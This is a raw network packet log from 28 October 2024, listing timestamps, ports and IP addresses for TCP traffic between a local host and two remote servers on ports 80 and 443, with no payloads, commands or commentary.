Oct 28, 2024 02:07:46.518446922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518455029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518475056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518480062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518486023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518496990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518508911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518511057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518520117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518532991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518543959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518544912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518556118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518569946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518580914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518584013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518594027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518601894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518620014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518630028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518647909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518699884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518712044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518723965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518752098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518774033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518779039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518784046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518821955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518851995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518862963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518881083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518903971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518933058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518935919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518944979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518984079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518992901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519037008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519048929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.519048929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519062042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519074917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.519098997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519108057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.519139051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.519169092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.519176006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523144960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523156881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523166895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523202896 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523251057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523278952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523296118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523308992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523334980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523345947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523365021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523370028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523370028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523376942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523389101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523390055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523399115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.523412943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.523452997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.551170111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.551219940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.551234961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.551238060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.551251888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.551265001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.551275015 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.551302910 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.621640921 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.622132063 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.622143030 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.625914097 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.625992060 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.626452923 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.626630068 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.626632929 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.634124994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634138107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634183884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634203911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634216070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634227037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634238005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634260893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634268045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634279013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634279013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634289980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634300947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634316921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634326935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634327888 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634355068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634371042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634385109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634394884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634416103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634422064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634428978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634457111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634572983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634582996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634592056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634612083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634622097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634624958 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634630919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634645939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634668112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634752989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634851933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634867907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634879112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634888887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634890079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634907007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634923935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.634989023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.634999037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.635008097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.635030985 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.635055065 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.667341948 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.684676886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684691906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684705019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684715986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684730053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684755087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684767008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684777975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684797049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684809923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684822083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684833050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684845924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684858084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684870005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684937000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684950113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684961081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684972048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.684984922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685003042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685015917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685028076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685039997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685050011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685062885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685115099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685126066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685137987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685148954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685162067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685170889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685180902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685194016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685205936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685218096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685328960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685347080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685358047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685369015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685384989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685395956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685408115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685419083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685430050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685442924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685453892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685467958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685482025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.685494900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686028004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686038971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686049938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686096907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686108112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686117887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686135054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686152935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686166048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686177015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686189890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686203003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686263084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686274052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686285973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686297894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686310053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686321974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.686333895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.690681934 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.690742970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.702826023 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.702836990 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.751005888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751041889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751055956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751066923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751101971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751132965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751195908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751240969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751262903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751306057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751375914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751388073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751404047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751420021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751431942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751441956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751444101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751466036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751471043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751480103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751492977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751493931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751507044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751518965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751522064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751533985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751540899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751543045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751557112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751584053 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751707077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751733065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751745939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751748085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751766920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751782894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751785040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751796961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751808882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751811028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751822948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751836061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751847982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751849890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.751880884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.751894951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.757379055 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.757399082 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.757472038 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.757482052 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.757901907 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.757994890 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.760505915 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.760518074 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.767225027 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.767260075 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.767517090 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.767725945 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:46.767741919 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.792675018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792694092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792711020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792721987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792736053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792752981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792766094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792776108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792783976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792798042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792809010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792819977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792823076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792841911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792848110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792857885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792885065 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792886019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792898893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792927980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792954922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.792958975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792970896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792978048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792988062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.792999983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793013096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793041945 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793124914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793144941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793157101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793174982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793190956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793207884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793231010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793256044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793281078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793286085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793298006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793311119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793339014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793365002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793395042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793446064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793456078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793458939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793488979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793489933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793500900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793512106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793560982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793659925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793670893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793682098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793697119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793705940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793709993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793723106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793732882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793741941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793745995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793761969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793781042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793802023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793889046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793948889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.793950081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793962002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793972969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.793994904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794020891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794025898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794033051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794070959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794076920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794087887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794118881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794150114 CET	80	49967	185.215.113.206	192.168.2.6
